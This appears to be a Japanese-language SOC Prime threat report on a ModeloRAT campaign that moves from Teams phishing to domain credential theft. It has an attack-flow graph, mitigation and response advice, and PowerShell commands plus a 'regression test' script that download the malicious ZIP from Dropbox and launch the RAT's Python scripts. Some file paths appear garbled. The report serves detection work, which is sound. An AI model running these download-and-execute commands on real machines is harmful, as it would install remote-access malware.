Teams のフィッシングからドメイン侵害までの ModeloRAT キャンペーンを解剖

SOC Prime Team

フォローする

Teams のフィッシングからドメイン侵害までの ModeloRAT キャンペーンを解剖

Detection stack

AIDR
Alert
ETL
Query

脅威レポート
攻撃フロー
検出
シミュレーション

概要

Rapid7は、ITサポートを装った悪意のあるMicrosoft Teamsメッセージから始まる侵入を分析しました。攻撃者はDropboxにホストされたPythonペイロードを使用してModeloRATを展開し、次の手段で権限を昇格させました。 CVE-2023-36036、そして被害者に偽のロック画面を提示することでドメインの資格情報を盗むというものでした。このキャンペーンは、攻撃者が単一の侵害されたエンドポイントから、ドメイン全体の資格情報の盗難までどれだけ迅速に拡大できるかを示しました。また、コラボレーションプラットフォームが初期のアクセスベクターとしてもたらす日増しに増加するリスクも浮き彫りにしています。

調査

調査は、最初のTeams会話から始まる攻撃チェーン全体に従い、DropboxからZIPアーカイブをダウンロードし、ポータブルPython環境を展開し、次を起動しました： collector.py and Pmanager.py。その後、ModeloRATは複数のコマンドアンドコントロールサーバーにHTTPビーコニングを確立し、ホスト偵察を実行し、次を使用して rundll32 でカーネルエクスプロイトを引き起こし、SYSTEMレベルのアクセスを得ました。持続性はスケジュールされたタスクを通じて維持され、侵入中に攻撃者は追加のバックドアコンポーネントを配備しました。

軽減策

組織は、Microsoft Teamsにおける外部アクセスを厳重に制限し、異常なPowerShellとPythonの活動を監視し、既知の悪意のあるDropbox URLをブロックし、を引き続きパッチ適用していることを確認すべきです。 CVE-2023-36036。許可されていない rundll32 使用を制限するアプリケーションコントロールポリシーは、攻撃リスクを軽減するのに役立ちます。セキュリティチームはまた、偽のロックスクリーンの振る舞いや他の資格情報収集活動の兆候をエンドポイントで監視すべきです。

対応

この活動が検出された場合は、影響を受けたエンドポイントを直ちに隔離し、侵害されたユーザーの資格情報を取り消し、影響を受けたドメインのパスワードをリセットします。調査者は完全なメモリキャプチャを収集し、必要に応じてLSASS関連の証拠を含め、ModeloRATのアーティファクトを探し、悪意のあるスケジュールタスクや持続性のメカニズムを除去するべきです。Teamsのテナント設定も確認され、外部チャットが業務的に必要でない場合は無効にされるべきです。

"graph %% クラス定義 classDef action fill:#ffcccc classDef tool fill:#cce5ff classDef malware fill:#e6ffcc classDef process fill:#ffd9b3 classDef file fill:#f2e6ff %% アクションノード action_phishing["アクション – T1566.003 フィッシング：サービス経由 ITサポートを装った悪意のあるリンク付きMicrosoft Teamsメッセージ。"] class action_phishing action action_impersonation["アクション – T1656 なりすまし 正当なように見せかけた偽のITサポートアカウント。"] class action_impersonation action action_content_injection["アクション – T1659 コンテンツのインジェクション PowerShellコマンドを含むメッセージが感染チェーンを開始。"] class action_content_injection action action_user_execution["アクション – T1204 ユーザー実行 リンクをクリックまたはPowerShellステージャをコピー＆ペースト。"] class action_user_execution action action_software_discovery["アクション – T1518 ソフトウェアの検索 collector.pyがインストール済みソフトウェア、パッチ、構成を列挙。"] class action_software_discovery action action_security_discovery["アクション – T1518.001 セキュリティソフトウェアの検索 スクリプトがSecurityHealthHost.exeなどのAVプロセスをチェック。"] class action_security_discovery action action_system_info["アクション – T1082 システム情報の検索 systeminfo、whoamiなどのコマンドがホストの詳細を収集。"] class action_system_info action action_dll_loading["アクション – T1176 ソフトウェア拡張 rundll32.exeが悪意のあるDLL（ssss.dll、com6848.dll）をロード。"] class action_dll_loading action action_priv_esc["アクション – T1068 権限昇格のためのエクスプロイト cldflt.sysのCVE-2023-36036をエクスプロイトしてSYSTEMトークンを取得。"] class action_priv_esc action action_defense_evasion["アクション – T1211 回避のためのエクスプロイト カーネルエクスプロイトがセキュリティ制御をバイパス。"] class action_defense_evasion action action_persistence_active_setup["アクション – T1547.014 アクティブセットアップの持続性 SyncRootManagerのレジストリキーが悪意のあるクラウド同期プロバイダを登録。"] class action_persistence_active_setup action action_event_triggered["アクション – T1546 イベントトリガーされた実行 同期プロバイダがイベントトリガーされた持続性メカニズムとして機能。"] class action_event_triggered action action_scheduled_task["アクション – T1053 スケジュールされたタスク 毎日タスクTempLogAがSYSTEM権限でinternal.pyを実行。"] class action_scheduled_task action action_path_interception["アクション – T1574.007 パスのインターセプション ポータブルPythonディレクトリが実行を確実にするためにPATHの早期に配置される。"] class action_path_interception action action_c2_http["アクション – T1071.001 アプリケーションレイヤープロトコル：ウェブプロトコル ModeloRATがHTTPポート80を介してC2サーバーと通信。"] class action_c2_http action action_nonstandard_port["アクション – T1571 非標準ポート 追加のリバースシェルチャネルがポート50508および60503を使用。"] class action_nonstandard_port action action_winrm["アクション – T1563 リモートサービスセッションハイジャック 攻撃者がツール配備のために二つ目のホストへのWinRMセッションを開く。"] class action_winrm action action_rdp["アクション – T1078.002 有効なアカウント：ドメインアカウント 収集した資格情報を使用してRDPログイン。"] class action_rdp action action_kerberoasting["アクション – T1558.003 Kerberoasting サービスチケット要求が資格情報ハッシュを生成。"] class action_kerberoasting action action_os_credential_dump["アクション – T1003 OS資格情報のダンプ DumpIt.exeがLSASSを含むメモリをキャプチャ。"] class action_os_credential_dump action action_unsecured_credentials["アクション – T1552.001 保護されていない資格情報 偽のロックスクリーンDLLがキャプチャしたパスワードをディスクに記録。"] class action_unsecured_credentials action action_window_discovery["アクション – T1010 アプリケーションウィンドウの捜索 ロックスクリーンレプリカがWindowsロックスクリーンを模倣し、入力をキャプチャ。"] class action_window_discovery action action_bits_job["アクション – T1197 BITSジョブ DumpItがBITSを介してダウンロードおよび実行されます。"] class action_bits_job action %% ツール / ファイル / マルウェアノード tool_powershell["ツール – 名前: PowerShell 説明: 初期ステージャーコマンドを実行する。"] class tool_powershell tool tool_python["ツール – 名前: ポータブルPython (pythonw.exe) 説明: collector.pyとPmanager.pyを実行。"] class tool_python tool tool_rundll32["ツール – 名前: rundll32.exe 説明: 悪意のあるDLLペイロードをロードする。"] class tool_rundll32 tool tool_dumpit["ツール – 名前: DumpIt.exe 説明: メモリ取得ユーティリティ。"] class tool_dumpit tool malware_collector["マルウェア – 名前: collector.py 説明: 検出を行い、さらにモジュールを起動する初期Pythonスクリプト。"] class malware_collector malware malware_pmanager["マルウェア – 名前: Pmanager.py (ModeloRAT) 説明: C2と通信するリモートアクセス型トロイの木馬。"] class malware_pmanager malware file_ssss_dll["ファイル – 名前: ssss.dll 説明: エスカレーションのためにロードされた悪意のあるDLL。"] class file_ssss_dll file file_com6848_dll["ファイル – 名前: com6848.dll 説明: 資格情報取得のためにロードされた悪意のあるDLL。"] class file_com6848_dll file file_lockdll["ファイル – 名前: lockscreen.dll 説明: パスワードを記録する偽のロックスクリーン。"] class file_lockdll file %% 接続 – 攻撃フロー action_phishing –>|uses| action_impersonation action_impersonation –>|delivers| action_content_injection action_content_injection –>|triggers| action_user_execution action_user_execution –>|executes| tool_powershell tool_powershell –>|launches| tool_python tool_python –>|runs| malware_collector tool_python –>|runs| malware_pmanager malware_collector –>|performs| action_software_discovery malware_collector –>|performs| action_security_discovery malware_collector –>|performs| action_system_info malware_pmanager –>|loads| tool_rundll32 tool_rundll32 –>|loads| file_ssss_dll tool_rundll32 –>|loads| file_com6848_dll file_ssss_dll –>|enables| action_priv_esc file_com6848_dll –>|enables| action_priv_esc action_priv_esc –>|provides| action_defense_evasion action_defense_evasion –>|establishes| action_persistence_active_setup action_persistence_active_setup –>|creates| action_event_triggered action_event_triggered –>|creates| action_scheduled_task action_scheduled_task –>|relies on| action_path_interception action_path_interception –>|ensures execution of| malware_pmanager malware_pmanager –>|communicates via| action_c2_http malware_pmanager –>|uses| action_nonstandard_port malware_pmanager –>|opens| action_winrm action_winrm –>|facilitates| action_rdp action_rdp –>|leverages| action_kerberoasting action_kerberoasting –>|provides credentials for| action_os_credential_dump action_os_credential_dump –>|executed by| tool_dumpit tool_dumpit –>|delivered via| action_bits_job action_bits_job –>|supports| action_os_credential_dump action_unsecured_credentials –>|implemented by| file_lockdll file_lockdll –>|captures via| action_window_discovery action_window_discovery –>|writes to| action_unsecured_credentials %% スタイリング class action_phishing,action_impersonation,action_content_injection,action_user_execution,action_software_discovery,action_security_discovery,action_system_info,action_dll_loading,action_priv_esc,action_defense_evasion,action_persistence_active_setup,action_event_triggered,action_scheduled_task,action_path_interception,action_c2_http,action_nonstandard_port,action_winrm,action_rdp,action_kerberoasting,action_os_credential_dump,action_unsecured_credentials,action_window_discovery,action_bits_job action class tool_powershell,tool_python,tool_rundll32,tool_dumpit tool class malware_collector,malware_pmanager malware class file_ssss_dll,file_com6848_dll,file_lockdll file

攻撃フロー

攻撃のストーリーおよびコマンド：
1. 初期ドロップ： 攻撃者は、被害者のワークステーションに足場を得た後、ドロップボックスにホストされた悪意のあるZIPファイルを取得するためにPowerShellを起動します。このURLは検出ルールでハードコーディングされているので、攻撃者は検出を保証するために全く同じ文字列を使用します（検証の目的で）。
2. 展開: 組み込みの Expand‑Archive コマンドレットを使用して、アーカイブはユーザーの %APPDATA% フォルダに直接展開されます。この場所は守備側から見過ごされがちです。
3. ペイロードの実行： 2つのPythonスクリプト—collector.py and Pmanager.py—が pythonw.exe （「ウィンドウなし」インタープリター）を通じて実行され、見えるコンソールウィンドウを避け、目立たない持続性とデータ流出を可能にします。
正確なコマンド（ルールに一致する必要があります）：
```
# 1. ZIPアーカイブをダウンロード
iwr -Uri "https://www.dropbox.com/scl/fi/[REDACTED]/vuzggemyofftzpk6.zip?rlkey=elabnna8r5omwglaq4feay6ui＆st=op5i7lea＆dl=1" -OutFile "$env:APPDATAWinp.zip"

 # 2. アーカイブを展開
Expand-Archive -Path "$env:APPDATAWinp.zip" -DestinationPath "$env:APPDATA"

 # 3. 最初のPythonスクリプトを実行
Start-Process "$env:APPDATAWPy64-31401pythonpythonw.exe" -ArgumentList "$env:APPDATAWPy64-31401pythoncollector.py"

 # 4. 2番目のPythonスクリプトを実行
Start-Process "$env:APPDATAWPy64-31401pythonpythonw.exe" -ArgumentList "$env:APPDATAWPy64-31401pythonPmanager.py"
```

回帰テストスクリプト：

# -------------------------------------------------
# 回帰テスト - ModeloRAT PowerShellワークフローの模倣
# -------------------------------------------------
$zipUrl = "https://www.dropbox.com/scl/fi/[REDACTED]/vuzggemyofftzpk6.zip?rlkey=elabnna8r5omwglaq4feay6ui＆st=op5i7lea＆dl=1"
$zipPath = "$env:APPDATAWinp.zip"
$extractPath = $env:APPDATA
$pythonExe = "$env:APPDATAWPy64-31401pythonpythonw.exe"
$collector = "$env:APPDATAWPy64-31401pythoncollector.py"
$pmanager = "$env:APPDATAWPy64-31401pythonPmanager.py"

# ダウンロード
Write-Host "[*] マルウェアZIPをダウンロード中..."
Invoke-WebRequest -Uri $zipUrl -OutFile $zipPath

# 展開
Write-Host "[*] アーカイブを展開中..."
Expand-Archive -Path $zipPath -DestinationPath $extractPath -Force

# collector.pyを実行
Write-Host "[*] collector.pyを起動中..."
Start-Process -FilePath $pythonExe -ArgumentList $collector

# Pmanager.pyを実行
Write-Host "[*] Pmanager.pyを起動中..."
Start-Process -FilePath $pythonExe -ArgumentList $pmanager

Write-Host "[+] シミュレーション完了。SIEMでの警報確認を行ってください。"

クリーンアップコマンド：

# -------------------------------------------------
# クリーンアップ - テストで作成されたアーティファクトを削除する
# -------------------------------------------------
$zipPath = "$env:APPDATAWinp.zip"
$extractRoot = "$env:APPDATAWPy64-31401"
$pythonExe = "$env:APPDATAWPy64-31401pythonpythonw.exe"

# このテストからのpythonwプロセスを停止
Get-Process -Name pythonw -ErrorAction SilentlyContinue |
    Where-Object {$_.Path -like "*WPy64-31401*"} |
    Stop-Process -Force

# 抽出されたディレクトリを削除
if (Test-Path $extractRoot) {
    Remove-Item -Recurse -Force $extractRoot
}

# ZIPファイルを削除
if (Test-Path $zipPath) {
    Remove-Item -Force $zipPath
}

Write-Host "[+] クリーンアップ完了。"

SOC PrimeのDetection as Codeプラットフォームに参加し ビジネスに最も関連性のある脅威に対する可視性を向上させましょう。開始して即座に価値をもたらすためには、今すぐSOC Primeの専門家とのミーティングを予約してください。

無料で参加